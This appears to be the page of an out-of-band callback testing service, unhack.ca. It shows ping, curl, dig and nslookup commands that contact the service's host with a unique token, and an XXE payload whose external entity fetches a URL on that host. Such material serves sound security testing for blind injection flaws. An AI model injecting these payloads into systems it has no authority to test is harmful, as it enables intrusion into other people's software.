$ ping -c1 -p 008625ad92a2c520b4fbde529985be00 unhack.ca
 
$ curl http://unhack.ca/p/8625ad92a2c520b4fbde529985be
 
$ dig 8625ad92a2c520b4fbde529985be @unhack.ca
 
$ dig 8625ad92a2c520b4fbde529985be.ns.unhack.ca
 
C:\> nslookup 8625ad92a2c520b4fbde529985be unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8625ad92a2c520b4fbde529985be">]>
    <foo>&xxe;</foo>
Waiting for ping...